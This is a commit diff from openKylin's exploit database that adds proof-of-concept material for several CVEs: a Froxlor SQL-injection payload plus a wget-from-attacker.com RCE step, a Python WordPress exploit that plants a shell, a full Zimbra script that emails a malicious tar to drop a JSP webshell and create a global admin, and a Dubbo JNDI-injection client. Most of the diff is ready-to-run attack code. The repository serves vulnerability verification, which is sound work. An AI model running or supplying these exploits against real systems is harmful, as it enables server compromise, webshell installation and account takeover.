Merge branch 'master' of gitee.com:openkylin/openkylin-exploit-db into master

Signed-off-by: 周子博 <>
This commit is contained in:
周子博 2023-04-12 08:17:20 +00:00 committed by Gitee
commit 680155dd29
56 changed files with 4445 additions and 5 deletions

3
.gitmodules vendored
View File

@ -2,3 +2,6 @@
url = https://gitee.com/zhangqichen131/cve-2022-22978-poc-environment
path = cve/java-spring-security/2022/CVE-2022-22978/POC_environment
[submodule "cve/django/2022/CVE-2022-28346/POC_env"]
path = cve/django/2022/CVE-2022-28346/POC_env
url = https://github.com/DeEpinGh0st/CVE-2022-28346

View File

@ -33,12 +33,12 @@ git clone https://gitee.com/openkylin/openkylin-exploit-db.git
4. 新建 Pull Request
由于未公开漏洞危险性,我们将严格按照[openKylin安全漏洞信息披露政策]()对漏洞进行处理披露。同时我们采取以下措施来对贡献者贡献的漏洞信息进行处理。
1. 我们对所有来自贡献者提交的Pull Request开启了代码评审功能开启的代码评审Pull Request,仅管理员、审查者、测试者可见保证了当前Pull Request信息的安全。
1. 我们对所有来自贡献者提交的Pull Request开启了代码评审功能开启的代码评审Pull Request仅管理员、审查者、测试者可见保证了当前Pull Request信息的安全。
2. 当贡献者提交issue时打开了内容风险标识选项后当前提交的issue非项目成员均无法查看保证了当前提交的issue信息的安全。
同时我们也建议贡献者通过以下渠道向社区贡献未公开漏洞:
1. Psirt邮箱
psirt@lists.openkylin.top您可以通过E-mail将openKylin相关的安全漏洞情报、信息反馈给openKylin安全团队由于内容比较敏感建议您使用公钥对邮件信息进行加密,[公钥下载链接](https://kylinos.cn/upload/psirt_kylinos_pub.asc)。
psirt@lists.openkylin.top您可以通过E-mail将openKylin相关的安全漏洞情报、信息反馈给openKylin安全团队由于内容比较敏感建议您使用公钥对邮件信息进行加密[公钥下载链接](https://kylinos.cn/upload/psirt_kylinos_pub.asc)。
如果想要项目提供暂时未有的公开漏洞的验证程序,也可通过新建[issue](https://gitee.com/openkylin/openkylin-exploit-db/issues/new)。
@ -47,11 +47,11 @@ psirt@lists.openkylin.top您可以通过E-mail将openKylin相关的安全漏
### 贡献说明
1. 提交漏洞验证程序目录结构漏洞编号类型cve、cnvd/软件/漏洞年份/漏洞编号。
2. 提交漏洞验证程序需要提供漏洞CVE-xxxx-xxx.yaml文件,项目根目录下提供漏洞模版.yaml内容包括但不限于漏洞编号、漏洞等级、漏洞简介、漏洞类型、漏洞检测程序来源、补丁链接。
2. 提交漏洞验证程序需要提供漏洞CVE-xxxx-xxx.yaml文件项目根目录下提供漏洞模版.yaml内容包括但不限于漏洞编号、漏洞等级、漏洞简介、漏洞类型、漏洞检测程序来源、补丁链接。
3. 提交漏洞验证程序需要补充项目根目录中openkylin_list.yaml或other_list.yaml文件。
4. 漏洞README.md文件需要有漏洞验证程序的详细使用方法。
贡献漏洞验证程序如在openKylin发行版上测试有效添加至[openkylin_list.yaml](https://gitee.com/openkylin/openkylin-exploit-db/blob/master/openkylin_list.yaml)列表中,相反添加至[other_list.yaml](https://gitee.com/openkylin/openkylin-exploit-db/blob/master/other_list.yaml)列表中,openKylin发行版下载[地址](https://www.openkylin.top/downloads/)。
贡献漏洞验证程序如在openKylin发行版上测试有效添加至[openkylin_list.yaml](https://gitee.com/openkylin/openkylin-exploit-db/blob/master/openkylin_list.yaml)列表中,相反添加至[other_list.yaml](https://gitee.com/openkylin/openkylin-exploit-db/blob/master/other_list.yaml)列表中openKylin发行版下载[地址](https://www.openkylin.top/downloads/)。
### 免责声明
为本项目为[openKylin SecurityGovernance SIG组](https://gitee.com/openkylin/securitygovernance-management)主导建立的漏洞验证程序仓库仓库内容不代表本项目团队和openKylin社区的立场及观点。由于传播、利用此项目中的一切内容而造成的任何直接或者间接的后果及损失均由使用者本人负责本项目团队和openKylin社区不为此承担任何责任。

View File

@ -0,0 +1,89 @@
- Exploit Title: Froxlor 0.10.29.1 - SQL Injection (Authenticated)
- Exploit Author: Martin Cernac
- Date: 2021-11-05
- Vendor: Froxlor (https://froxlor.org/)
- Software Link: https://froxlor.org/download.php
- Affected Version: 0.10.28, 0.10.29, 0.10.29.1
- Patched Version: 0.10.30
- Category: Web Application
- Tested on: Ubuntu
- CVE: 2021-42325
### 1. Technical Description:
Froxlor 0.10.28 and 0.10.29.x are affected by an SQL Injection from the authenticated customer panel. This allows an attacker to escalate privilege by creating a Froxlor administrator account and use it to get Remote Code Execution as root on the target machine.
#### 1.1 Pre-requisites
- Access to a customer account
- Ability to specify database name when creating a database
- Feature only availible from 0.10.28 onward and must be manually enabled
### 2. Proof Of Concept (PoC):
The following is a walkthrough of privilege escalation from a mere customer to an admin and achieving RCE as root
#
#### 2.1 Privilege Escalation
- Sign into Froxlor as a customer
- View your databases
- Create a database
- Put your payload into the "User/Database name" field (if enabled)
- Application will error out however your SQL query will be executed
The following is a POST request example of running the payload provided, resulting in an administrator account being created
```
POST /froxlor/customer_mysql.php?s=fdbdf63173d0b332ce13a148476499b2 HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 448
s=fdbdf63173d0b332ce13a148476499b2&page=mysqls&action=add&send=send&custom_suffix=%60%3Binsert+into+panel_admins+%28loginname%2Cpassword%2Ccustomers_see_all%2Cdomains_see_all%2Ccaneditphpsettings%2Cchange_serversettings%29+values+%28%27x%27%2C%27%245%24ccd0bcdd9ab970b1%24Hx%2Fa0W8QHwTisNoa1lYCY4s3goJeh.YCQ3hWqH1ZUr8%27%2C1%2C1%2C1%2C1%29%3B--&description=x&mysql_password=asdasdasdasdasdasdwire&mysql_password_suggestion=oyxtjaihgb&sendinfomail=0
```
#### 2.2 Remote Code Execution
To achieve RCE as root:
- Sign into Froxlor as the newly created admin account (payload example creds are x:a)
- Go to System Settings
- Go to Webserver settings
- Adjust "Webserver reload command" field to a custom command
- The command must not contain any of the following special characters: ;|&><`$~?
- For details, see "safe_exec" function in lib/Froxlor/FileDir.php
- For example commands see Payloads 4.2 section
- Trigger configuration file rebuild
- Use menu item "Rebuild config files"
- Await a root cron job to execute your command
### 3. Vulnerable resources and parameters
/customer_mysql.php (POST field: custom_suffix)
### 4. Payloads
#### 4.1 SQL Injection payload
The following payload creates a new Froxlor admin with full access to all customers and the server configuration
The credentials are:
- username: x
- password: a
`;insert into panel_admins (loginname,password,customers_see_all,domains_see_all,caneditphpsettings,change_serversettings) values ('x','$5$ccd0bcdd9ab970b1$Hx/a0W8QHwTisNoa1lYCY4s3goJeh.YCQ3hWqH1ZUr8',1,1,1,1);--
#### 4.2 Remote Code Execution payload
Two part payload:
- wget http://attacker.com/malicious.txt -O /runme.php
- php /runme.php
### 5. Timeline
2021-10-11 Discovery
2021-10-11 Contact with developer
2021-10-11 Patch issued but no release rolled out
2021-10-12 Reserved CVE-2021-42325
2021-11-05 Fix release rolled out
2021-11-07 Public disclosure
### 6. References:
https://github.com/Froxlor/Froxlor/releases/tag/0.10.30

View File

@ -0,0 +1,24 @@
id: CVE-2021-42325
source:
https://www.exploit-db.com/exploits/50502
info:
name: Froxlor是一款易于使用且功能强大的服务器管理面板用于管理各种主机和域名服务。
severity: high
description:
Froxlor是Froxlor团队的一套轻量级服务器管理软件。
Froxlor存在安全漏洞该漏洞允许在数据库管理器DbManagerMySQL.php中通过自定义数据库名称注入SQL。
scope-of-influence:
Froxlor 0.9~0.10.30
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-42325
- https://avd.aliyun.com/detail?id=AVD-2021-42325
- http://packetstormsecurity.com/files/164800/Froxlor-0.10.29.1-SQL-Injection.html
- https://github.com/Froxlor/Froxlor/commit/eb592340b022298f62a0a3e8450dbfbe29585782
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-42325
cwe-id: CWE-89
cnvd-id: None
kve-id: None
tags: exploit, remote, code execution, sql injection

View File

@ -0,0 +1,28 @@
# CVE-2019-8942 Proof-of-Concept
### Overview
WordPress before 4.9.9 and 5.x before 5.0.1 allows remote code execution because an _wp_attached_file Post Meta entry can be changed to an arbitrary string, such as one ending with a .jpg?file.php substring. An attacker with author privileges can execute arbitrary code by uploading a crafted image containing PHP code in the Exif metadata. Exploitation can leverage CVE-2019-8943.
For a comprehensive understanding, check out the accompanying [blog post](http://blog.nsfocus.net/wordpress-5-0-0-rce/) for in-depth details.
### Dependencies
* python3
* requests package
### Usage
1. Verify if requests is installed:
```
sudo pip3 install requests
```
2. Modify the "url_root" in poc.py as you wish, for example:
```
url_root = 'http://localhost/'
```
3. Run the PoC:
```
python3 ./poc.py
```

Binary file not shown.

After

Width:  |  Height:  |  Size: 28 KiB

View File

@ -0,0 +1,97 @@
#!/usr/bin/python3
######################
## Imagick RCE POC ##
######################
import requests
import re
url_root = 'http://localhost/'
theme = 'twentyseventeen'
current_date = '2019/03/'
filename = "imagick.jpg"
session = requests.Session()
creds={'log':'author','pwd':'author','wp-submit':'Log In','redirect_to':'{url}wp-admin/'.format(url=url_root),'testcookie':1}
tmp={'wordpress_test_cookie':'WP Cookie check'}
r=session.post(url_root+'wp-login.php',cookies=tmp,data=creds)
wp_init_cookies=session.cookies
#get nonce
response = requests.get('{url}wp-admin/media-new.php'.format(url=url_root),cookies=wp_init_cookies)
_wp_nonce = re.findall(r'name="_wpnonce" value="(\w+)"',response.text)[0]
#uploading image
data = {
'post_id': '0',
'_wp_http_referer': '/wp-admin/media-new.php',
'_wpnonce': _wp_nonce,
'action': 'upload_attachement',
'html-upload': 'Upload'
}
evil = {'async-upload':(filename, open(filename, 'rb'))}
upload_result = session.post(url_root+'wp-admin/async-upload.php', data=data, files=evil, cookies=wp_init_cookies)
image_id=upload_result.text
print(f'Image ID: {image_id}')
#First exploit :changing metadata
#Part 1 create folder ==> evil.jpg?/x
response=requests.get(url_root+'wp-admin/post.php?post='+image_id+'&action=edit',cookies=wp_init_cookies)
_wpnonce=re.findall(r'name="_wpnonce" value="(\w+)"',response.text)[0]
ajax_nonce = re.findall(r'imageEdit\.open\( \w+, "(\w+)"',response.text)[0]
print(ajax_nonce)
data={'_wpnonce':_wpnonce,
'action':'editpost',
'post_ID':image_id,
'meta_input[_wp_attached_file]':current_date+filename+'?/x'
}
response=requests.post(url_root+'wp-admin/post.php',data=data, cookies=wp_init_cookies)
#Creating file with wrop-image
data={'action':'crop-image',
'_ajax_nonce':ajax_nonce,
'id':image_id,
'cropDetails[x1]':0,
'cropDetails[y1]':0,
'cropDetails[width]':400,
'cropDetails[height]':300,
'cropDetails[dst_width]':10,
'cropDetails[dst_height]':10}
response=requests.post(url_root+'wp-admin/admin-ajax.php',data=data, cookies=wp_init_cookies)
#Part 2 creating file into current theme
data={'_wpnonce':_wpnonce,
'action':'editpost',
'post_ID':image_id,
'meta_input[_wp_attached_file]':current_date+filename+'?/../../../../themes/'+theme+'/shell'
}
response=requests.post(url_root+'wp-admin/post.php',data=data, cookies=wp_init_cookies)
data={'action':'crop-image',
'_ajax_nonce':ajax_nonce,
'id':image_id,
'cropDetails[x1]':0,
'cropDetails[y1]':0,
'cropDetails[width]':400,
'cropDetails[height]':300,
'cropDetails[dst_width]':10,
'cropDetails[dst_height]':10}
response=requests.post(url_root+'wp-admin/admin-ajax.php',data=data, cookies=wp_init_cookies)
print(response.text)
#Including into theme
response=requests.post(url_root+'wp-admin/post-new.php', cookies=wp_init_cookies)
_wpnonce=re.findall(r'name="_wpnonce" value="(\w+)"',response.text)[0]
post_id=re.findall(r'"post":{"id":(\w+),',response.text)[0]
print(f'Post ID: {post_id}')
data={'_wpnonce':_wpnonce,
'action':'editpost',
'post_ID':post_id,
'post_title':'wut',
'post_name':'wut',
'meta_input[_wp_page_template]':'cropped-shell.jpg'
}
response=requests.post(url_root+'wp-admin/post.php',data=data, cookies=wp_init_cookies)
print(f'Rce at {url_root}?p={post_id}')

View File

@ -0,0 +1,21 @@
id: CVE-2019-8942
source:
https://github.com/synacktiv/CVE-2019-8942
info:
name: WordPress是一款免费开源的内容管理系统CMS目前已经成为全球使用最多的CMS建站程序。
severity: high
description: |
WordPress before 4.9.9 and 5.x before 5.0.1 allows remote code execution because an _wp_attached_file Post Meta entry can be changed to an arbitrary string, such as one ending with a .jpg?file.php substring. An attacker with author privileges can execute arbitrary code by uploading a crafted image containing PHP code in the Exif metadata. Exploitation can leverage CVE-2019-8943.
scope-of-influence:
WordPress < 4.9.9
WordPress 5.x < 5.0.1
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2019-8942
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2019-8942
cwe-id: CWE-434
cnvd-id: None
kve-id: None
tags: RCE, 远程代码执行

View File

@ -0,0 +1,236 @@
#!/usr/bin/env python3
import sys
import smtplib
import argparse
from time import sleep
from email.mime.multipart import MIMEMultipart
from email.mime.application import MIMEApplication
from email.mime.text import MIMEText
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
# CONFIGURATION
#----------------------------------
TARGET = 'mail.test.org'
WEBSHELL_PATH = '/public/jsp'
WEBSHELL_NAME = 'Startup1_3.jsp'
ATTACHMENT = 'payload.tar'
SENDER = 'test@test.org'
RECIPIENT = 'admin@test.org'
EMAIL_SUBJECT = 'CVE-2022-41352'
EMAIL_BODY = '<b>Just testing.</b><br><p>Don\'t mind me.</p>'
#----------------------------------
# Only change this if zimbra was not installed in the default location
UPLOAD_BASE = '/opt/zimbra/jetty_base/webapps/zimbra'
def create_tar_payload(payload, payload_name, payload_path, lnk='startup'):
# Block 1
link = lnk.encode()
mode = b'0000777\x00' # link permissions
ouid = b'0001745\x00' # octal uid (997)
ogid = b'0001745\x00' # octal gid
lnsz = b'00000000000\x00' # file size (link = 0)
lmod = b'14227770134\x00' # last modified (octal unix)
csum = b' ' # checksum = 8 blanks
type = b'2' # type (link = 2)
targ = payload_path.encode() # link target
magi = b'ustar \x00' # ustar magic bytes + version
ownu = b'zimbra' # user owner
owng = b'zimbra' # group owner
vers = b'\x00'*8 + b'\x00'* 8 # device major and minor
pref = b'\x00'*155 # prefix (only used if the file name length exceeds 100)
raw_b1_1 = link + b'\x00'*(100-len(link)) + mode + ouid + ogid + lnsz + lmod
raw_b1_2 = type + targ + b'\x00'*(100-len(targ)) + magi + ownu + b'\x00'*(32-len(ownu)) + owng + b'\x00'*(32-len(owng)) + vers + pref
# calculate and insert checksum
csum = oct(sum(b for b in raw_b1_1+csum+raw_b1_2))[2:]
raw_b1 = raw_b1_1 + f'{csum:>07}'.encode() + b'\x00' + raw_b1_2
# pad block to 512
raw_b1 += b'\00'*(512-len(raw_b1))
# Block 2
mode = b'0000644\x00' # file permissions
file = f'{lnk}/{payload_name}'.encode()
flsz = oct(len(payload))[2:] # file size
csum = b' ' # checksum = 8 blanks
type = b'0' # type (file = 0)
targ = b'\x00'*100 # link target = none
raw_b2_1 = file + b'\x00'*(100-len(file)) + mode + ouid + ogid + f'{flsz:>011}'.encode() + b'\x00' + lmod
raw_b2_2 = type + targ + magi + ownu + b'\x00'*(32-len(ownu)) + owng + b'\x00'*(32-len(owng)) + vers + pref
# calculate and insert checksum
csum = oct(sum(b for b in raw_b2_1+csum+raw_b2_2))[2:]
raw_b2 = raw_b2_1 + f'{csum:>07}'.encode() + b'\x00' + raw_b2_2
# pad block to 512
raw_b2 += b'\00'*(512-len(raw_b2))
# Assemble
raw_tar = raw_b1 + raw_b2 + payload + b'\x00'*(512-(len(payload)%512))
raw_tar += b'\x00' * 512 * 2 # Trailer: end with 2 empty blocks
return raw_tar
# Update this if you want to use a legit email account for sending the payload
def smtp_send_file(target, sender, recipient, subject, body, attachment, attachment_name):
msg = MIMEMultipart()
msg['Subject'] = subject
msg['From'] = sender
msg['To'] = recipient
message = MIMEText(body, 'html')
msg.attach(message)
att = MIMEApplication(attachment)
att.add_header('Content-Disposition', 'attachment', filename=attachment_name)
msg.attach(att)
try:
print(f'>>> Sending payload')
smtp_server = smtplib.SMTP(target,25)
smtp_server.sendmail(sender, recipient, msg.as_string())
print(f'>>> Payload delivered')
except Exception as e:
print(f'[!] Failed to send the mail: {e}')
sys.exit(1)
def verify_upload(target, shell, path):
print(f'>>> Verifying upload to {path}/{shell} ...')
sleep(5) # give the server time to process the email
resp = requests.get(f'https://{target}{path}/{shell}', verify=False)
if resp.status_code == 200:
print(f'>>> [PWNED] Upload successful!')
else:
print(f'>>> Upload unsuccesful :(')
sys.exit(1)
def create_new_zimbra_admin(target, shell, path):
url = f'https://{target}'
pw = 'Pwn1ng_Z1mbra_!s_fun'
print(f'>>> Adding a new global administrator')
if (input(f'>>> Are you sure you want to continue? (yN): ') != 'y'):
sys.exit(0)
admin = input(f'>>> Enter the new admin email (newadmin@domain.com): ')
r = requests.get(f'{url}/{path}/{shell}?task=/opt/zimbra/bin/zmprov ca {admin} {pw}', verify=False)
r = requests.get(f'{url}/{path}/{shell}?task=/opt/zimbra/bin/zmprov ma {admin} zimbraIsAdminAccount TRUE', verify=False)
print(f'>>> Login to {url}:7071/zimbraAdmin/ with:')
print(f'>>> Email : {admin}')
print(f'>>> Password : {pw}')
def main(args):
global TARGET,WEBSHELL_PATH,WEBSHELL_NAME,ATTACHMENT,SENDER,RECIPIENT,EMAIL_SUBJECT,EMAIL_BODY
# Kali JSP WebShell
payload = b'<FORM METHOD=GET ACTION="'
payload += WEBSHELL_NAME.encode()
payload += b'"><INPUT name="task" type=text><INPUT type=submit value="Run"></FORM><%@ page import="java.io.*" %><% String cmd=request.getParameter("task");String output="";if(cmd!=null){String s=null;try {Process p=Runtime.getRuntime().exec(cmd);BufferedReader sI=new BufferedReader(new InputStreamReader(p.getInputStream()));while((s = sI.readLine())!=null){output+=s;}}catch(IOException e){e.printStackTrace();}} %><pre><%=output %></pre>'
# Using this instead of argparse default values to allow easy manual configuration as well
if args.payload:
try:
with open(args.payload, 'rb') as f:
payload = f.read()
except Exception as e:
print(f'Failed to read {args.payload}: {e}')
sys.exit(1)
print(f'>>> Using custom payload from: {args.payload}')
else:
print(f'>>> Using default payload: JSP Webshell')
if args.path:
WEBSHELL_PATH = args.path
if args.file:
WEBSHELL_NAME = args.file
if args.attach:
ATTACHMENT = args.attach
tar = create_tar_payload(payload, WEBSHELL_NAME, UPLOAD_BASE+WEBSHELL_PATH)
print(f'>>> Assembled payload attachment: {ATTACHMENT}')
print(f'>>> Payload will be extracted to ({UPLOAD_BASE}){WEBSHELL_PATH}/{WEBSHELL_NAME}')
if args.mode == 'manual':
with open(ATTACHMENT, 'wb') as f:
f.write(tar)
print(f'>>> Attachment saved locally.')
sys.exit(0)
if args.target:
TARGET = args.target
print(f'>>> Targeting {TARGET}')
if args.sender:
SENDER = args.sender
if args.recip:
RECIPIENT = args.recip
if args.subject:
EMAIL_SUBJECT = args.subject
if args.body:
try:
with open(args.body, 'rb') as f:
EMAIL_BODY = f.read().decode()
except Exception as e:
print(f'Failed to read {args.body}: {e}')
sys.exit(1)
print(f'>>> Using custom email body from: {args.body}')
smtp_send_file( TARGET,
SENDER,
RECIPIENT,
EMAIL_SUBJECT,
EMAIL_BODY,
tar,
ATTACHMENT )
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
verify_upload(TARGET, WEBSHELL_NAME, WEBSHELL_PATH)
print(f'>>> Shell at: https://{TARGET}{WEBSHELL_PATH}/{WEBSHELL_NAME}')
if args.mode == 'auto':
sys.exit(0)
if args.payload:
print(f'>>> (!) "fullpwn" depends on the default JSP webshell - won\'t create the admin account')
else:
create_new_zimbra_admin(TARGET, WEBSHELL_NAME, WEBSHELL_PATH)
sys.exit(0)
if __name__ == '__main__':
epi = '''
Alternatively, edit the script to change the default configuration.
The available modes are:
manual : Only create the payload - you have to deploy the payload yourself.
auto : Create a webshell and deploy it via SMTP.
fullpwn : After deploying a webshell, add a new global mail administrator.
'''
p = argparse.ArgumentParser(
description = 'CVE-2022-41352 Zimbra RCE',
formatter_class = argparse.RawDescriptionHelpFormatter,
epilog = epi
)
p.add_argument('mode', metavar='mode', choices=['manual', 'auto', 'fullpwn'], help='(manual|auto|fullpwn) - see below')
p.add_argument('--target', required=False, metavar='<str>', dest='target', help=f'the target server (default: "{TARGET}")')
p.add_argument('--payload', required=False, metavar='<file>', help='the file to save on the target (default: jsp webshell)')
p.add_argument('--path', required=False, metavar='<str>', help=f'relative path for the file upload (default: "{WEBSHELL_PATH}")')
p.add_argument('--file', required=False, metavar='<str>', help=f'name of the uploaded file (default: "{WEBSHELL_NAME}")')
p.add_argument('--attach', required=False, metavar='<str>', help=f'name of the email attachment containing the payload (default: "{ATTACHMENT}")')
p.add_argument('--sender', required=False, metavar='<str>', help=f'sender mail address (default: "{SENDER}")')
p.add_argument('--recip', required=False, metavar='<str>', help=f'recipient mail address (default: "{RECIPIENT}") (if you can deploy the email directly to the server, neither the sender nor the recipient have to exist for the exploit to work)')
p.add_argument('--subject', required=False, metavar='<str>', help=f'subject to use in the email (default: "{EMAIL_SUBJECT}")')
p.add_argument('--body', required=False, metavar='<file>', help=f'file containing the html content for the email body (default: "{EMAIL_BODY}")')
args = p.parse_args()
main(args)

View File

@ -0,0 +1,24 @@
id: CVE-2022-41352
source: https://github.com/Cr4ckC4t/cve-2022-41352-zimbra-rce
info:
name: Zimbra提供一套开源协同办公套件包括WebMail日历通信录Web文档管理和创作。
severity: critical
description: |
An issue was discovered in Zimbra Collaboration (ZCS) 8.8.15 and 9.0. An attacker can upload arbitrary files through amavisd via a cpio loophole (extraction to /opt/zimbra/jetty/webapps/zimbra/public) that can lead to incorrect access to any other user accounts. Zimbra recommends pax over cpio. Also, pax is in the prerequisites of Zimbra on Ubuntu; however, pax is no longer part of a default Red Hat installation after RHEL 6 (or CentOS 6). Once pax is installed, amavisd automatically prefers it over cpio.
scope-of-influence:
ZCS < 8.8.15 patch 33
ZCS < 9.0.0 patch 26
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2022-41352
- https://wiki.zimbra.com/wiki/Security_Center
- https://forums.zimbra.org/viewtopic.php?t=71153&p=306532
- https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories
- http://packetstormsecurity.com/files/169458/Zimbra-Collaboration-Suite-TAR-Path-Traversal.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-41352
cwe-id: CWE-434
cnvd-id: None
kve-id: None
tags: CVE-2022, 文件上传

View File

@ -0,0 +1,7 @@
# CVE-2023-23638
dubbo泛型调用存在反序列化漏洞可导致恶意代码执行。该问题影响Apache Dubbo 2.7.x 2.7.21及之前版本; Apache Dubbo 3.0.x 版本 3.0.13 及之前版本; Apache Dubbo 3.1.x 版本 3.1.5 及之前的版本。
复现时需要为 DemoComsumer 添加 VM 参数: `-Ddubbo.hessian.allowNonSerializable=true`, 详情参考 https://su18.org/post/hessian/#serializable
POC 的本质是利用某个 class 修改 properties 以绕过限制, 代码给的是 JNDI 注入, 可以参考 [CVE-2023-23638 Apache Dubbo JavaNative反序列化漏洞分析](https://mp.weixin.qq.com/s?__biz=Mzg3OTcyNjM1MQ==&mid=2247483788&idx=1&sn=7954ad20fec203469a13a09050536a1c) 自行修改成反序列化的利用方式

View File

@ -0,0 +1,51 @@
package org.apache.dubbo.samples;
import org.apache.dubbo.common.utils.ConcurrentHashSet;
import org.apache.dubbo.common.utils.SerializeClassChecker;
import org.apache.dubbo.rpc.service.GenericService;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import sun.misc.Unsafe;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.*;
public class DemoConsumer {
public static void main(String[] args) throws Exception {
ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("spring/generic-type-consumer.xml");
context.start();
Constructor<Unsafe> constructor = Unsafe.class.getDeclaredConstructor();
constructor.setAccessible(true);
Unsafe unsafe = constructor.newInstance();
Set<String> allowSet = new ConcurrentHashSet<>();
allowSet.add("com.sun.rowset.JdbcRowSetImpl".toLowerCase());
SerializeClassChecker serializeClassChecker = (SerializeClassChecker) unsafe.allocateInstance(SerializeClassChecker.class);
Field f = SerializeClassChecker.class.getDeclaredField("CLASS_DESERIALIZE_ALLOWED_SET");
f.setAccessible(true);
f.set(serializeClassChecker, allowSet);
// SerializeClassChecker serializeClassChecker = (SerializeClassChecker) unsafe.allocateInstance(SerializeClassChecker.class);
// Field f = SerializeClassChecker.class.getDeclaredField("CLASS_DESERIALIZE_BLOCKED_SET");
// f.setAccessible(true);
// f.set(serializeClassChecker, new ConcurrentHashSet<>());
Map<Object, Object> map1 = new HashMap<>();
map1.put("class", "org.apache.dubbo.common.utils.SerializeClassChecker");
map1.put("INSTANCE", serializeClassChecker);
Map<Object, Object> map2 = new LinkedHashMap<>();
map2.put("class", "com.sun.rowset.JdbcRowSetImpl");
map2.put("dataSourceName", "ldap://192.168.100.1:1389/Basic/Command/calc");
map2.put("autoCommit", true);
List list = new LinkedList();
list.add(map1);
list.add(map2);
GenericService genericService = (GenericService) context.getBean("helloService");
genericService.$invoke("sayHello", new String[]{"java.lang.String"}, new Object[]{list});
}
}

View File

@ -0,0 +1,18 @@
package org.apache.dubbo.samples;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import java.util.concurrent.CountDownLatch;
public class DemoProvider {
public static void main(String[] args) throws Exception {
ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("spring/generic-type-provider.xml");
context.start();
System.out.println("dubbo service started");
new CountDownLatch(1).await();
}
}

View File

@ -0,0 +1,121 @@
<?xml version="1.0" encoding="UTF-8"?>
<!--
~
~ Licensed to the Apache Software Foundation (ASF) under one or more
~ contributor license agreements. See the NOTICE file distributed with
~ this work for additional information regarding copyright ownership.
~ The ASF licenses this file to You under the Apache License, Version 2.0
~ (the "License"); you may not use this file except in compliance with
~ the License. You may obtain a copy of the License at
~
~ http://www.apache.org/licenses/LICENSE-2.0
~
~ Unless required by applicable law or agreed to in writing, software
~ distributed under the License is distributed on an "AS IS" BASIS,
~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
~ See the License for the specific language governing permissions and
~ limitations under the License.
~
-->
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<artifactId>dubbo-samples-test</artifactId>
<groupId>org.apache.dubbo.samples</groupId>
<version>1.0-SNAPSHOT</version>
<properties>
<source.level>1.8</source.level>
<target.level>1.8</target.level>
<dubbo.version>3.1.5</dubbo.version>
<!-- <dubbo.version>2.7.21</dubbo.version>-->
<!-- <dubbo.version>3.0.13</dubbo.version>-->
<spring.version>4.3.3.RELEASE</spring.version>
<junit.version>4.13.1</junit.version>
<maven-compiler-plugin.version>3.7.0</maven-compiler-plugin.version>
</properties>
<dependencyManagement>
<dependencies>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-framework-bom</artifactId>
<version>${spring.version}</version>
<type>pom</type>
<scope>import</scope>
</dependency>
<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo-bom</artifactId>
<version>${dubbo.version}</version>
<type>pom</type>
<scope>import</scope>
</dependency>
<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo-dependencies-zookeeper</artifactId>
<version>${dubbo.version}</version>
<type>pom</type>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>${junit.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-test</artifactId>
<scope>test</scope>
</dependency>
</dependencies>
</dependencyManagement>
<dependencies>
<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo</artifactId>
</dependency>
<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo-dependencies-zookeeper</artifactId>
<type>pom</type>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>${maven-compiler-plugin.version}</version>
<configuration>
<source>${source.level}</source>
<target>${target.level}</target>
</configuration>
</plugin>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
<executions>
<execution>
<goals>
<goal>repackage</goal>
</goals>
<configuration>
<classifier>spring-boot</classifier>
<mainClass>
org.apache.dubbo.samples.DemoConsumer
</mainClass>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
</project>

View File

@ -0,0 +1,22 @@
id: CVE-2023-23638
source: https://github.com/X1r0z/CVE-2023-23638
info:
name: Apache Dubbo是一款 RPC 服务开发框架,用于解决微服务架构下的服务治理与通信问题
severity: CRITICAL
description: |
Dubbo是一个高性能优秀的服务框架。CVE-2023-23638中Dubbo泛型调用存在反序列化漏洞可导致恶意代码执行。
scope-of-influence:
Dubbo 2.7.0 - 2.7.21
Dubbo 3.0.0 - 3.0.13
Dubbo 3.1.0 - 3.1.5
reference:
- https://exp10it.cn/2023/03/apache-dubbo-cve-2023-23638-%E5%88%86%E6%9E%90/
- https://mp.weixin.qq.com/s?__biz=Mzg3OTcyNjM1MQ==&mid=2247483788&idx=1&sn=7954ad20fec203469a13a09050536a1c
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-23638
cwe-id: CWE-502
cnvd-id: None
kve-id: None
tags: Apache Dubbo, Deserialization vulnerability when generic invoke

View File

@ -0,0 +1,22 @@
The MIT License (MIT)
